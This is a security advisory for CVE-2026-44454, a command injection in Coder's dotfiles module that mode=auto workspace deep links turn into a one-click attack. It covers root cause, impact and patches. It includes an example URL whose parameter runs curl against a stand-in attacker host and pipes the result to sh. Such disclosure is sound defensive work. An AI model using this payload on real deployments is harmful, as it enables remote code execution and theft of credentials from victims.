PT-2026-55445 · Go · Github.Com/Coder/Coder+1

Publicado

2026-07-02

·

Atualizado

2026-07-02

·

CVE-2026-44454

CVSS v3.1

8.1

Alta

VetorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfiles uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles uri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles uri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

Recognition

We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy

Correção

OS Command Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-78

Identificadores relacionados

CVE-2026-44454
GHSA-M3CR-VC2J-PM27

Produtos afetados

Github.Com/Coder/Coder
Github.Com/Coder/Coder/V2